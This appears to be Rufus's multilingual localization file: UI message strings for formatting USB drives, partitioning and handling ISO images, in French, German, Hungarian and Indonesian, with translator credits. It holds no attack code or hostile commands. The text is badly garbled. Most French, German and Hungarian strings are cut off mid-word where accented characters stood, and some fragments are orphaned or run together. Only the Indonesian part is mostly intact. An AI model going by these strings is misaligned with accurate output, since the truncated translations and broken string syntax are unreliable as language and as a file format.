t MSG_268 "Application de l'image Windows..."
t MSG_269 "Pr
t MSG_270 "Debug USB"
t MSG_271 "Calculation des checksums de l'image: %0.1f%% compl
t MSG_272 "Calcule les checksums MD5, SHA1 et SHA256 pour l'image s
t MSG_273 "Change la langue de l'application"
t MSG_274 "Image ISOHybrid d
t MSG_275 "L'image que vous avez s
crite soit en mode %s (copie de fichiers) ou en mode %s (image disque).\n"
utiliser le mode %s, de mani
crire cette image, en mode %s.\n\n"
t MSG_276 "Ecrire en mode %s (Recommand
t MSG_277 "Ecrire en mode %s"
t MSG_278 "Type de d
t MSG_279 "Non d
t MSG_280 "S
t MSG_281 "(Veuillez s
t MSG_282 "Verrouillage exclusif de p
t MSG_283 "Signature invalide"
t MSG_284 "L'ex
t MSG_285 "L'ex
par '%s'.\nCe n
tes-vous certain de vouloir lancer ce fichier?"
t IDC_WINDOWS_INSTALL "Standard Windows-Installation"
t IDC_WEBSITE "Klicken Sie hier, um zur Webseite zu gelangen"
t MSG_001 "Rufus ist bereits gestartet"
t MSG_002 "Rufus ist bereits gestartet.\n"
t MSG_003 "WARNUNG: ALLE DATEN AUF LAUFWERK '%s' WERDEN GEL
t MSG_004 "Rufus Aktualisierungseinstellungen"
t MSG_005 "Wollen Sie, dass Rufus auf neuen Versionen pr
t MSG_006 "Schlie
t MSG_007 "Abbruch"
t MSG_009 "Nein"
t MSG_010 "Fehlerhafte Bl
t MSG_011 "Pr
fung abgeschlossen: %d fehlerhafte Bl
" %d Lesefehler\n %d Schreibfehler\n %d Defekt(e)\n"
t MSG_012 "%s\nEin detaillierter Bericht ist hier zu finden:\n%s"
t MSG_013 "Deaktiviert"
t MSG_014 "T
t MSG_015 "W
t MSG_016 "Monatlich"
t MSG_017 "Speziell"
t MSG_018 "Ihre Version: %d.%d (Build %d)"
t MSG_019 "Aktuelle Version: %d.%d (Build %d)"
t MSG_020 "Byte"
t MSG_026 "Byte"
t MSG_027 "Kilobyte"
t MSG_028 "Megabyte"
t MSG_029 "Standard"
t MSG_030 "%s (Standard)"
t MSG_031 "%s Partitionierungsschema f
r BIOS oder %s"
t MSG_032 "%s Partitionierungsschema f
t MSG_033 "%s Partitionierungsschema f
t MSG_034 "%d Durchgang"
t MSG_035 "%d Durchg
t MSG_036 "ISO-Abbild"
t MSG_037 "Anwendung"
t MSG_038 "Abbruch"
t MSG_041 "Operation vom Benutzer abgebrochen"
t MSG_042 "Fehler"
t MSG_043 "Fehler: %s"
t MSG_044 "Dateidownload"
t MSG_045 "USB Massenspeicherger
t MSG_047 "Mehrere Partitionen"
t MSG_048 "Rufus - Leere Puffer"
t MSG_049 "Rufus - Abbrechen"
t MSG_050 "Erfolg."
t MSG_051 "Unbekannter Fehler w
t MSG_052 "Das gew
t MSG_053 "Der Zugriff auf das Laufwerk wurde verweigert."
t MSG_054 "Der Datentr
t MSG_055 "Das Laufwerk wird von einem anderen Prozess verwendet. "
t MSG_056 "Die Schnellformatierung ist f
t MSG_057 "Die Laufwerksbezeichnung ist ung
t MSG_058 "Das Ger
t MSG_059 "Die ausgew
t MSG_060 "Die Volumen-Gr
t MSG_061 "Bitte legen Sie einen Wechseldatentr
t MSG_062 "Ein nicht unterst
t MSG_063 "Fehler bei der Speicherzuweisung."
t MSG_064 "Lesefehler."
t MSG_065 "Schreibfehler."
t MSG_066 "Installationsfehler"
t MSG_067 "Datentr
t MSG_068 "Fehler beim Partitionieren des Laufwerks."
t MSG_069 "Dateien konnten nicht auf das Ziellaufwerk kopiert werden."
t MSG_070 "Vom Benutzer abgebrochen."
t MSG_071 "Thread konnte nicht gestartet werden."
t MSG_072 "Pr
t MSG_073 "Fehler beim analysieren der ISO-Abbild-Datei."
t MSG_074 "Fehler beim entpacken der ISO-Abbild-Datei."
t MSG_075 "Volume konnte nicht neu angelegt werden."
t MSG_076 "Startf
t MSG_077 "Laufwerksbuchstabe konnte nicht zugewiesen werden."
t MSG_078 "GUID-Laufwerk konnte nicht angelegt werden."
t MSG_079 "Das Laufwerk ist nicht bereit."
t MSG_080 "Rufus hat erkannt, dass Inhalte des Datenpuffer auf das USB-Laufwerk geschrieben werden.\n\n"
e Dateien.\n\nWir empfehlen, dass Sie Windows den Vorgang beenden lassen, um eine Problem zu vermeiden. "
t MSG_081 "Nicht unterst
t MSG_082 "Dieses Abbild ist nicht startf
t MSG_083 "Ersetze %s?"
t MSG_084 "Diese ISO-Abbild-Datei verwendet eine veraltete Version von '%s'.\n"
"'%s' bereits vorhanden ist, wird sie automatisch wiederverwendet."
t MSG_085 "Download %s"
t MSG_086 "Keine Abbild-Datei gew
t MSG_087 "Bitte klicken das auf das Disk-Symbol um eine startf
t MSG_088 "Abbild ist zu gro
t MSG_089 "Dieses Abbild ist zu gro
t MSG_090 "ISO-Abbild nicht unterst
t MSG_091 "Wenn UEFI als Typ des Zielsystems gew
t MSG_092 "Nicht unterst
t MSG_093 "ACHTUNG! DIESES LAUFWERK VERF
glicherweise Partitionen, die unter Windows nicht sicht- bzw. nutzbar sind."
t MSG_094 "Mehrere Partitionen erkannt"
t MSG_095 "DD Abbild"
t MSG_096 "Das aktuell gew
t MSG_097 "F
r '%s' muss NTFS als Dateisystem verwendet werden."
t MSG_098 "WICHTIG: Sie versuchen 'Windows To Go' zu installieren, aber das Ziel-Laufwerk hat nicht "
"das 'FIXED'-Attribut. Deswegen wird Windows beim Systemstart h
t MSG_099 "Dateisystembeschr
t MSG_100 "Diese ISO-Abbild-Datei enth
t MSG_101 "Fehlende WIM-Unterst
t MSG_102 "Ihre Plattform kann keine Dateien aus WIM-Containern extrahieren. WIM-Extraktion "
hige Windows 7 und Windows Vista USB-Laufwerke zu erzeugen. Sie k
t MSG_104 "%s oder neuer erfordert, dass eine '%s' installiert ist.\n"
er als 100 kB ist, und in %s ISO-Abbildern immer enthalten ist, "
t MSG_105 "Durch einen Abbruch wird das Ger
t MSG_106 "Ordner w
t MSG_107 "Alle Dateien"
t MSG_108 "Rufus Log"
t MSG_110 "MS-DOS kann nicht von einem Laufwerk starten, das 64 Kilobyte gro
t MSG_111 "Inkompatible Zuordnungseinheitengr
t MSG_112 "Gro
t MSG_113 "Gro
t MSG_114 "Dieses Abbild benutzt Syslinux %s%s, aber diese Anwendung verf
r Syslinux %s%s.\n\n"
ssen vom Internet heruntergeladen werden ('ldlinux.sys' and 'ldlinux.bss'):\n"t MSG_115 "Download erforderlich"
t MSG_116 "Dieses Abbild verwendet Grub %s, aber die Anwendung beinhaltet nur Installations-Dateien f
"Grub %s.\n\nWeil verschiedene Versionen von Grub nicht untereinander kompatibel sind, und es nicht "
"('core.img') von Grub zu finden, die zur Version im Abbild passt:\n"t MSG_150 "Normalerweise die beste Wahl. Wenn Sie einen UEFI-Computer haben und das Betriebssystem "
t MSG_151 "Verwenden Sie diese Einstellung, um das Betriebssystem im EFI-Modus zu installieren und "
"USB-Zugriff unter Windows XP zu haben"
t MSG_152 "Die bevorzugte Einstellung, um das Betriebssystem im EFI-Modus zu installieren und "
"wenn kein USB-Zugriff unter Windows XP erforderlich ist"
t MSG_153 "Pr
fmuster: 0xX"
t MSG_154 "Pr
fmuster: 0xX, 0xX"
t MSG_155 "Pr
fmuster: 0xX, 0xX, 0xX"
t MSG_156 "Pr
fmuster: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Zieldateisystem ausw
t MSG_158 "Kleinste Gr
t MSG_159 "Geben Sie hier die Datentr
t MSG_160 "Erweiterte Optionen ein- bzw. ausblenden"
t MSG_161 "Das Laufwerk mittels eines Musters auf fehlerhafte Bl
t MSG_162 "Wenn nicht aktiviert, wird die \"langsame\" Formatierung verwendet"
t MSG_163 "Aktivieren, um das Laufwerk startf
t MSG_164 "Methode, um das Laufwerk startf
t MSG_165 "W
t MSG_166 "W
tesymbol zu erzeugen (Datei autorun.inf)"
t MSG_167 "Erzeugt einen MBR, der eine Bootmen
t MSG_168 "Das erste startf
"Das sollte nur notwendig sein, wenn Sie Windows XP instllieren und mehr als ein Festplatte haben."
t MSG_169 "Eine extra Partition erzeugen und die Partitionsgrenzen ausrichten.\n"
t MSG_170 "Erkennung von USB-Festplatten Geh
t MSG_171 "Formatierung starten.\nAlle Daten auf dem Ziellaufwerk werden GEL
t MSG_172 "Lizenzinformationen und Mitwirkende"
t MSG_173 "Klicken Sie, um auszuw
t MSG_174 "Rufus - Das zuverl
t MSG_176 "Deutsche
t MSG_177 "Fehler und Anforderungen an:"
t MSG_178 "Weitere Copyrights:"
t MSG_179 "Aktualisierungseinstellungen:"
t MSG_180 "Wenn Sie die Pr
t MSG_181 "Ihre Betriebssystem-Architektur und -Version"
t MSG_182 "Die Version der Anwendung, die Sie einsetzen"
t MSG_183 "Ihre IP-Adresse"
t MSG_184 "Zum privaten Statistikzwecken speichern wir diese Informationen "
t MSG_185 "Update-Vorgang:"
t MSG_186 "Rufus verwendet keine Hintergrundprozesse, deshalb wird nur auf Updates gepr
t MSG_187 "Abbild-Datei f
hlte Boot-Option nicht passend"
t MSG_188 "Die derzeitige Abbild-Datei passt nicht zur gew
t MSG_189 "Dieses ISO-Abbild ist mit dem gew
t MSG_190 "inkompatibles Laufwerk erkannt"
t MSG_191 "Schreiben durchgef
t MSG_192 "Lesen durchgef
t MSG_193 "%s heruntergeladen"
t MSG_194 "%s konnte nicht heruntergeladen werden"
t MSG_195 "Verwende embedded Version der %s Datei(en)"
t MSG_196 "WICHTIG: DIESES LAUFWERK HAT EINE NICHT STANDARDKONFORME SEKTORGR
e, aber dieses Laufwerk nutzt %d-Byte. "
t MSG_197 "Nicht standardkonforme Sektorgr
t MSG_198 "'Windows To Go' kann nur auf ein GPT-partitioniertes Laufwerk installiert werden, wenn das FIXED-Attribut gesetzt ist. Das aktuelle Laufwerk hat diese nicht."
t MSG_199 "W
hlen Sie dies, wenn Sie planen Windows auf eines anderes Laufwerk zu installieren."
t MSG_200 "W
hlen Sie dies, wenn Sie Windows direkt vom gew
t MSG_201 "Abbrechen - Bitte warten..."
t MSG_202 "Lese Abbild-Datei..."
t MSG_203 "Fehler beim Lesen der Abbild-Datei"
ssige %s erkannt"
t MSG_205 "Verwende Abbild: %s"
t MSG_206 "Fehlende %s Datei"
t MSG_207 "Neues Volume"
t MSG_208 "%d Laufwerk gefunden"
t MSG_209 "%d Laufwerke gefunden"
t MSG_210 "FERTIG"
t MSG_211 "Abgebrochen"
t MSG_212 "FEHLGESCHLAGEN"
t MSG_213 "Starte Anwendung neu..."
t MSG_214 "Fehler beim Anwendungsneustart"
t MSG_215 "Ge
ffnet %s"
t MSG_216 "Gespeichert %s"
t MSG_217 "Formatieren: %0.1f%% erledigt"
t MSG_218 "Dateisystem erzeugen: Aufgabe %d/%d abgeschlossen"
t MSG_219 "NTFS Fixup: %d%% erledigt"
t MSG_220 "Formatiere (%s) - gesch
tzte Dauer %d:d..."
t MSG_221 "Setzte Bezeichnung (kann etwas dauern)..."
t MSG_222 "Formatiere (%s)..."
t MSG_225 "Laufwerkszugriff angefordert..."
t MSG_226 "Vorhandene Boot-Datens
t MSG_227 "Vorhandenes Volume schlie
t MSG_228 "Master Boot Record schreiben..."
t MSG_229 "Schreibe Partitions Boot Record.."
t MSG_230 "Kopiere DOS-Dateien..."
t MSG_231 "Kopiere ISO-Dateien..."
t MSG_232 "Win7 EFI Boot setup (kann etwas dauern)..."
t MSG_233 "Abschlie
t MSG_234 "Installiere Syslinux %s..."
t MSG_235 "Fehlerhafte Bl
cke: %s %d/%d - %0.2f%% (%d/%d/%d Fehler)"
t MSG_236 "Fehlerhafte Bl
t MSG_237 "Fehlerhafte Bl
fe mit Muster 0xX"
t MSG_238 "Partitioniere (%s)..."
t MSG_239 "L
t MSG_240 "Download %s: Verbinde..."
t MSG_241 "Download: %0.1f%%"
t MSG_242 "Fehler beim Dateidownload."
t MSG_243 "Pr
t MSG_244 "Update: Keine Verbindung zum Internet"
t MSG_245 "Update: Versionsinformationen k
t MSG_246 "Eine neue Version von Rufus ist verf
t MSG_247 "Keine neue Version von Rufus wurde gefunden"
t MSG_248 "Anwendungseinst. in der Registrierdatenbank gel
t MSG_249 "Fehler beim L
t MSG_250 "%s aktiviert"
t MSG_251 "%s deaktiviert"
t MSG_252 "Gr
t MSG_253 "Festplattenerkennung"
t MSG_254 "Gro
t MSG_255 "NoDriveTypeAutorun wird beim Beenden gel
t MSG_256 "Gef
t MSG_257 "Joliet-Unterst
t MSG_258 "Rock Ridge-Unterst
t MSG_259 "Update erzwingen"
t MSG_260 "NTFS-Komprimierung"
t MSG_261 "Schreibe Abbild-Datei: %0.1f%% fertiggestellt"
t MSG_262 "ISO-Unterst
t MSG_263 "Verwenden Sie korrekten Gr
t MSG_264 "L
sche Ordner '%s'"
t MSG_265 "VMWare-Laufwerks-Erkennung"
t MSG_266 "Dual UEFI/BIOS-Modus"
t MSG_267 "Spiele Windows-Abbild auf: %0.1f%% fertiggestellt"
t MSG_268 "Windows-Abbild aufspielen..."
t MSG_269 "Zeitstempel bewahren"
t MSG_270 "USB Testmodus"
t MSG_271 "Berechne Abbild-Pr
t MSG_272 "Berechne MD5-, SHA1- und SHA256-Pr
t MSG_273 "Sprache der Anwendung
t MSG_274 "Hybrides ISO-Abbild erkannt"
t MSG_275 "Das gew
"%s (Dateikopier-) oder %s (Abbild-) Modus kopiert werden.\n"
"Rufus empfiehlt den %s Modus, denn dann haben Sie nach dem Schreiben vollen Zugriff auf das Laufwerk.\n"
nnen Sie den %s Modus versuchen.\n\n"
t MSG_276 "Im %s Modus schreiben (empfohlen)"
t MSG_277 "Im %s Modus schreiben"
t MSG_278 "Startart"
t MSG_279 "Nicht startf
t MSG_280 "Abbildauswahl"
t MSG_281 "(Bitte w
t MSG_282 "Exclusive Sperre f
t MSG_283 "Ung
t MSG_284 "Die heruntergeladene ausf
t MSG_285 "Die heruntergeladene ausf
hrbare Datei ist von '%s' signiert.\nDiese Signatur ist nicht akzeptiert und k
m IDC_NBPASSES 149,0
s IDC_NBPASSES 7,0
t IDC_WINDOWS_TO_GO "Windows To Go (USB
\n %d
t MSG_036 "
t MSG_048 "Rufus - Flushing
t MSG_095 "
t MSG_097 "
'Windows To Go',
'Windows To Go'
"Windows 7
Windows Vista
t MSG_104 "
t MSG_110 "
%d:d.
t MSG_113 "M
"Syslinux %s%s.\n\n
'ldlinux.bss'): \n"
"Grub %s.\n\n
Grub ('core.img')Windows XP."
:\\line Konstantinos Margaritis <mailto:kotsos.marga@gmail.com> \\line Nikolaos Margaritis <mailto:marga.nikos@gmail.com>"
%d-byte."
NTFS: %d%%
(%s) -
t MSG_250 "%s :
t MSG_251 "%s :
Windows: %0.1f%%
Windows..."
%s.\n
MSG_285 "
t IDC_WINDOWS_INSTALL "Alap Windows telep
t IDC_WEBSITE "Kattints ide a weboldalhoz"
t MSG_001 "M
t MSG_002 "Egy Rufus program m
t MSG_003 "FIGYELEM: MINDEN ADAT A(Z) '%s' NEV
t MSG_004 "Rufus friss
t MSG_005 "Enged
t MSG_006 "Bez
t MSG_007 "M
t MSG_008 "Igen"
t MSG_009 "Nem"
t MSG_010 "Hib
t MSG_011 "Ellen
s befejezve: %d hib
" %d olvas
si hiba,\n %d
si hiba\n %d
t MSG_012 "%s\nEgy r
t MSG_013 "Letiltva"
t MSG_014 "Naponta"
t MSG_015 "Hetente"
t MSG_016 "Havonta"
t MSG_017 "Egy
t MSG_018 "A Te verzi
d: %d.%d (%d)"
t MSG_019 "A legfrissebb verzi
: %d.%d (%d)"
t MSG_020 "b
t MSG_026 "b
t MSG_027 "kilob
t MSG_028 "megab
t MSG_029 "Alap
t MSG_030 "%s (Alap)"
t MSG_031 "%s part
ma BIOS-os vagy %s-s g
t MSG_032 "%s part
t MSG_033 "%s part
t MSG_034 "%d vizsg
t MSG_035 "%d vizsg
t MSG_036 "ISO k
t MSG_037 "Alkalmaz
t MSG_038 "Megszak
t MSG_039 "Ind
t MSG_040 "Let
t MSG_041 "A folyamat a felhaszn
t MSG_042 "Hiba"
t MSG_043 "Hiba: %s"
t MSG_044 "F
t MSG_045 "USB t
t MSG_046 "%s (Lemez: %d) [%s]"
t MSG_047 "T
t MSG_048 "Rufus - Pufferek ki
t MSG_049 "Rufus - Megszak
t MSG_050 "Siker!"
t MSG_051 "Ismeretlen hiba form
t MSG_052 "A kiv
t MSG_053 "Az eszk
t MSG_054 "Az adathordoz
t MSG_055 "Az eszk
t MSG_056 "A gyors form
t MSG_057 "A cimke
t MSG_058 "Az eszk
t MSG_059 "A kiv
t MSG_060 "A k
t MSG_061 "K
t MSG_062 "Egy nem t
t MSG_063 "Mem
t MSG_064 "Olvas
t MSG_066 "Telep
t MSG_067 "Nem nyithat
t MSG_068 "Az eszk
t MSG_069 "Nem siker
t MSG_070 "A felhaszn
t MSG_071 "Nem lehet elind
t MSG_072 "A hib
t MSG_073 "ISO k
t MSG_074 "ISO k
t MSG_075 "A k
t MSG_076 "Nem lehet a f
t MSG_077 "Nem siker
t MSG_078 "Nem lehet GUID k
t MSG_079 "Az eszk
t MSG_080 "A Rufus
szlelte, hogy a Windows m
ben hagyd, hogy a Windows befejezze az
t MSG_081 "Nem t
t MSG_082 "Ez a k
t MSG_083 "Fel
rod ezt: %s?"
t MSG_084 "Ez az ISO f
leg a(z) '%s' elavult verzi
t MSG_085 "Let
s: %s"
t MSG_086 "Nincs ISO f
t MSG_087 "K
t MSG_088 "Az ISO f
t MSG_089 "Az ISO f
t MSG_090 "Nem t
t MSG_091 "UEFI t
t MSG_092 "Nem t
t MSG_093 "FONTOS: EZ AZ ESZK
Windows al
t MSG_094 "T
t MSG_095 "DD k
t MSG_096 "A jelenleg kiv
t MSG_097 "A '%s' csak NTFS f
t MSG_098 "FONTOS: 'Windows To Go'-t pr
. Emiatt a Windows bootol
t MSG_099 "F
t MSG_100 "Ez az ISO k
t MSG_101 "Hi
t MSG_102 "A rendszered nem k
s Windows Vista USB eszk
t MSG_103 "Let
d ezt: %s?"
t MSG_104 "%s vagy
ges a(z) '%s' f
s mindig szerepel a(z) %s ISO k
"'%s' nev
t MSG_105 "A megszak
t MSG_106 "K
t MSG_107 "Minden f
t MSG_109 "0xX (Lemez: %d)"
t MSG_110 "Az MS-DOS nem tud bootolni 64 kilob
t MSG_111 "Nem kompatibilis Klaszter m
t MSG_112 "Nagy UDF k
lt ideje %d:d,
t MSG_113 "Nagy UDF k
t MSG_114 "Ez a k
jl Syslinux %s%s-t haszn
s csak a Syslinux %s%s telep
l ('ldlinux.sys's 'ldlinux.bss'):\n"
t MSG_115 "Let
t MSG_116 "Ez a k
jl Grub %s-t haszn
s csak a Grub %s telep
l ('core.img'), ami egyezik a kt MSG_151 "Haszn
"Windows XP al
t MSG_152 "Ez a javasolt opci
t MSG_153 "Teszt param
ter: 0xX"
t MSG_154 "Teszt param
ter: 0xX, 0xX"
t MSG_155 "Teszt param
ter: 0xX, 0xX, 0xX"
t MSG_156 "Teszt param
ter: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Az eszk
t MSG_158 "Az adatblokkok legkisebb m
t MSG_159 "Haszn
t MSG_160 "Halad
t MSG_161 "Hib
t MSG_162 "Vedd ki innen a pip
t MSG_163 "Pip
t MSG_164 "Ezt fogjuk haszn
t MSG_165 "Kattints egy ISO kiv
t MSG_166 "Pip
hoz (egy autorun.inf f
t MSG_167 "Olyan MBR telep
t MSG_168 "Pr
ges, ha Windows XP-t telep
t MSG_169 "K
t MSG_170 "USB-s merevlemezek list
t MSG_171 "A form
t MSG_172 "Licensszel kapcsolatos inform
t MSG_173 "Kattints a kiv
t MSG_174 "Rufus - A megb
t MSG_175 "Verzi
t MSG_176 "Magyar ford
s:\\tab [HUN]DeadMan <mailto:familyguyfan79@gmail.com>\\line"
bor <mailto:gabor.csizmadia@hotmail.hu>"
t MSG_177 "Hib
t MSG_178 "Tov
t MSG_179 "Friss
t MSG_180 "Ha enged
t MSG_181 "Az oper
t MSG_182 "A program verzi
t MSG_183 "Az IP c
t MSG_184 "Haszn
t MSG_185 "Friss
t MSG_186 "A Rufus nem telep
t MSG_188 "A jelenlegi k
jl nem passzol a kiv
t MSG_189 "Ez az ISO k
t MSG_190 "Inkompatibilis meghajt
t MSG_191 "Sikeres
t MSG_192 "Sikeres olvas
t MSG_193 "Let
ltve: %s"
t MSG_194 "Nem siker
lteni: %s"
t MSG_195 "A(z) %s f
t MSG_196 "FONTOS: EZ AZ ESZK
rete %d b
t MSG_197 "'Nem szabv
t MSG_198 "'Windows To Go' csak akkor telep
laszd ezt, ha a Windows-t egy m
laszd ezt, ha a Windows-t k
t MSG_201 "Megszak
t MSG_202 "K
t MSG_203 "Nem siker
t MSG_204 "Elavult %s
lata: %s"
t MSG_206 "Hi
jl: %s"
t MSG_208 "%d eszk
t MSG_209 "%d eszk
t MSG_210 "K
t MSG_211 "Megszak
t MSG_212 "Sikertelen"
t MSG_213 "Az
t MSG_214 "Nem siker
t MSG_215 "Megnyitva: %s"
t MSG_216 "Mentve: %s"
t MSG_218 "F
se: %d/%d feladat k
t MSG_219 "NTFS Fixup: %d%% k
s (%s) - becs
t MSG_221 "C
s (%s)..."
t MSG_224 "MBR/PBR/GPT strukt
t MSG_225 "Lemez hozz
t MSG_226 "Boot rekordok vizsg
t MSG_227 "L
t MSG_228 "MBR
t MSG_229 "Part
t MSG_230 "DOS f
t MSG_231 "ISO f
t MSG_232 "Win7 EFI boot telep
t MSG_233 "V
t MSG_234 "Syslinux %s telep
t MSG_235 "Hib
s blokkok: %s %d/%d - %0.2f%% (%d/%d/%d hiba)"
t MSG_236 "Hib
t MSG_237 "Hib
s 0xX mint
t MSG_238 "Particion
t MSG_239 "Part
t MSG_240 "Let
s %s: Kapcsol
t MSG_241 "Let
t MSG_242 "A f
t MSG_243 "Rufus friss
t MSG_244 "Friss
t MSG_245 "Friss
t MSG_246 "El
t MSG_247 "Nem tal
t MSG_248 "A program regiszt
t MSG_249 "Nem siker
t MSG_250 "%s enged
t MSG_251 "%s letiltva"
t MSG_252 "M
t MSG_253 "Merevlemezek
t MSG_254 "FAT32 form
t MSG_255 "NoDriveTypeAutorun t
t MSG_256 "Hamis eszk
t MSG_257 "Joliet t
t MSG_258 "Rock Ridge t
t MSG_259 "Friss
t MSG_260 "NTFS t
t MSG_261 "K
t MSG_262 "ISO t
t MSG_263 "MEGFELEL
t MSG_264 "Mappa t
se: '%s'"
t MSG_265 "VMware lemez
t MSG_266 "Du
t MSG_267 "Windows k
t MSG_268 "Windows k
t MSG_269 "Id
t MSG_270 "USB hibakeres
t MSG_271 "K
t MSG_272 "MD5, SHA1
t MSG_273 "Alkalmaz
t MSG_274 "ISOHybrid k
t MSG_275 "A kiv
"%s (f
dban vagy %s (lemezk
"A Rufus a(z) %s m
rni %s m
s %s m
t MSG_278 "Boot t
t MSG_279 "Nem bootolhat
t MSG_280 "K
t MSG_281 "(K
t MSG_282 "Kiz
t MSG_284 "A let
t MSG_285 "A let
jlt '%s'
t MSG_286 "Meghajt
m IDC_NBPASSES 64,0
s IDC_NBPASSES -4,0
t IDC_WINDOWS_INSTALL "Instalasi Windows standar"
t IDC_WEBSITE "Klik disini untuk pergi ke situs web"
t MSG_001 "Rufus lain terdeteksi"
t MSG_002 "Aplikasi Rufus lain sedang berjalan.\n"
t MSG_003 "PERINGATAN: SEMUA DATA PADA PERANGKAT '%s' AKAN DIHAPUS.\n"
"Untuk melanjutkan operasi ini, klik OKE. Untuk keluar klik BATAL."
t MSG_004 "Ketentuan pembaruan Rufus"
t MSG_005 "Apakah Anda ingin mengizinkan Rufus memeriksa pembaruan aplikasi secara online?"
t MSG_006 "Tutup"
t MSG_007 "Batal"
t MSG_008 "Ya"
t MSG_009 "Tidak"
t MSG_010 "Blok buruk ditemukan"
t MSG_011 "Pemeriksaan selesai: %d blok buruk ditemukan\n"
" %d kesalahan baca\n %d kesalahan tulis\n %d kesalahan korupsi\n"
t MSG_012 "%s\nLaporan lebih lengkap dapat ditemukan di:\n%s"
t MSG_013 "Dinonaktifkan"
t MSG_014 "Harian"
t MSG_015 "Mingguan"
t MSG_016 "Bulanan"
t MSG_017 "Kostum"
t MSG_018 "Versi Anda: %d.%d (Build %d)"
t MSG_019 "Versi terbaru: %d.%d (Build %d)"
t MSG_029 "Standar"
t MSG_030 "%s (Standar)"
t MSG_031 "Skema partisi %s untuk BIOS atau %s"
t MSG_032 "Skema partisi %s untuk BIOS"
t MSG_033 "Skema partisi %s untuk UEFI"
t MSG_037 "Aplikasi"
t MSG_038 "Batal"
t MSG_039 "Luncurkan"
t MSG_040 "Unduh"
t MSG_041 "Operasi dibatalkan oleh pengguna"
t MSG_042 "Kesalahan"
t MSG_043 "Kesalahan: %s"
t MSG_044 "Unduh berkas"
t MSG_045 "Perangkat Penyimpanan USB (Generic)"
t MSG_047 "Banyak Partisi"
t MSG_049 "Rufus - Pembatalan"
t MSG_050 "Sukses."
t MSG_051 "Kesalahan tidak diketahui saat memformat."
t MSG_052 "Tidak dapat menggunakan sistem berkas terpilih untuk media ini."
t MSG_053 "Akses ke perangkat ditolak."
t MSG_054 "Media terlindungi penulisan."
t MSG_055 "Perangkat ini sedang digunakan oleh proses lain. "
t MSG_056 "Format cepat tidak tersedia bagi perangkat ini."
t MSG_057 "Label volume tidak sah."
t MSG_058 "Perangkat tidak sah."
t MSG_059 "Ukuran klaster terpilih tidak sah untuk perangkat ini."
t MSG_060 "Ukuran volume tidak sah."
t MSG_061 "Silakan sisipkan media kedalam perangkat."
t MSG_062 "Perintah tidak didukung."
t MSG_063 "Kesalahan pengalokasian memori."
t MSG_064 "Kesalahan baca."
t MSG_065 "Kesalahan tulis."
t MSG_066 "Instalasi gagal"
t MSG_067 "Tidak dapat membuka media. Media mungkin sedang digunakan oleh proses lain. "
t MSG_068 "Kesalahan saat mempartisi perangkat."
t MSG_069 "Tidak dapat menyalin berkas ke perangkat tujuan."
t MSG_070 "Dibatalkan oleh pengguna."
t MSG_071 "Tidak dapat memulai thread."
t MSG_072 "Pemeriksaan blok buruk tidak selesai."
t MSG_073 "Pemindaian ISO image gagal."
t MSG_074 "Mengekstrak ISO image gagal."
t MSG_075 "Tidak dapat me-mount ulang volume."
t MSG_076 "Tidak dapat menambal/berkas setelan untuk boot."
t MSG_077 "Tidak dapat menetapkan huruf perangkat."
t MSG_078 "Tidak dapat me-mount volume GUID."
t MSG_079 "Perangkat tidak siap."
t MSG_080 "Rufus mendeteksi bahwa Windows masih mem-buffer ke perangkat USB.\n\n"
"Tergantung pada kecepatan perangkat USB Anda , operasi ini mungkin memakan waktu lama untuk selesai, "
"terutama untuk file besar.\n\nKami menyarankan Anda membiarkan Windows selesai, untuk menghindari kerusakan. "
t MSG_081 "Image tidak didukung"
t MSG_082 "Image ini kemungkinan non-bootable, atau menggunakan metode boot atau kompresi yang tidak didukung oleh Rufus..."
t MSG_083 "Ganti %s?"
t MSG_084 "ISO image ini tampaknya menggunakan versi lawas dari '%s'.\n"
"'%s' sudah ada disana, berkas tersebut akan digunakan kembali secara otomatis."
t MSG_085 "Mengunduh %s"
t MSG_086 "Tidak ada image terpilih"
t MSG_087 "Silakan pilih pada tombol disc untuk memilih image bootable, "
t MSG_088 "Image terlalu besar"
t MSG_089 "Image terlalu besar untuk Target yang dipilih."
t MSG_090 "ISO tidak didukung"
t MSG_091 "Ketika menggunakan Tipe Target UEFI, hanya ISO images bootable EFI yang didukung. "
t MSG_092 "Sistem berkas tidak didukung"
t MSG_093 "PENTING: PERANGKAT INI BERISI BANYAK PARTISI!!\n\n"
"Perangkat ini berisi partisi/volume yang tidak tercantum atau bahkan terlihat dari Windows. "
t MSG_094 "Banyak partisi terdeteksi"
t MSG_096 "Sistem berkas yang saat ini dipilih tidak dapat digunakan dengan tipe ISO ini. "
t MSG_097 "'%s' hanya dapat diterapkan jika sistem berkas NTFS."
t MSG_098 "PENTING: Anda mencoba untuk menginstal 'Windows To Go', namun perangkat target tidak "
"memiliki atribut 'FIXED'. Windows ini kemungkinan akan berhenti saat boot, "
t MSG_099 "Batasan sistem berkas"
t MSG_100 "Image ISO ini berisi berkas yang lebih besar dari 4GB, yang lebih dari ukuran maksimal "
t MSG_101 "Dukungan WIM hilang"
t MSG_102 "Platform Anda tidak dapat mengekstrak berkas dari arsip WIM. Pengektrakan WIM "
"diperlukan untuk membuat bootable EFI Windows 7 dan Windows Vista di perangkat USB. Anda dapat memperbaikinya "
t MSG_103 "Unduh %s?"
t MSG_104 "%s atau yang lebih baru memerlukan berkas '%s' untuk diinstal.\n"
"Karena berkas ini berukuran lebih dari 100 KB, dan selalu ada pada ISO images %s, "
"berkas '%s' sudah ada disana, berkas ini akan digunakan kembali secara otomatis.\n"
t MSG_105 "Membatalkan dapat menyebabkan perangkat TIDAK DAPAT DIGUNAKAN.\n"
t MSG_106 "Silakan pilih folder"
t MSG_107 "Semua berkas"
t MSG_110 "MS-DOS tidak dapat boot dari perangkat yang menggunakan ukuran Klaster 64 kilobyte.\n"
t MSG_111 "Ukuran Klaster tidak kompatibel"
t MSG_112 "Memformat volume UDF yang besar memerlukan waktu lama. Di kecepatan USB 2.0, perkiraan durasi memformat sekitar "
"%d:d, selama berlangsung bilah kemajuan akan tampak berhenti. Harap bersabar!"
t MSG_113 "Volume UDF besar"
t MSG_114 "Image ini menggunakan Syslinux %s%s namun aplikasi ini hanya menyertakan berkas instalasi untuk "
"Syslinux %s%s.\n\nKarena versi baru Syslinux tidak kompatibel satu dengan lainnya, dan tidak mungkin "
"Internet ('ldlinux.sys' dan 'ldlinux.bss'):\n""- Pilih 'Tidak' untuk membatalkan operasi\n\n"
t MSG_115 "Unduh diperlukan"
t MSG_116 "Image ini menggunakan Grub %s namun aplikasi ini hanya menyertakan berkas instalasi untuk "
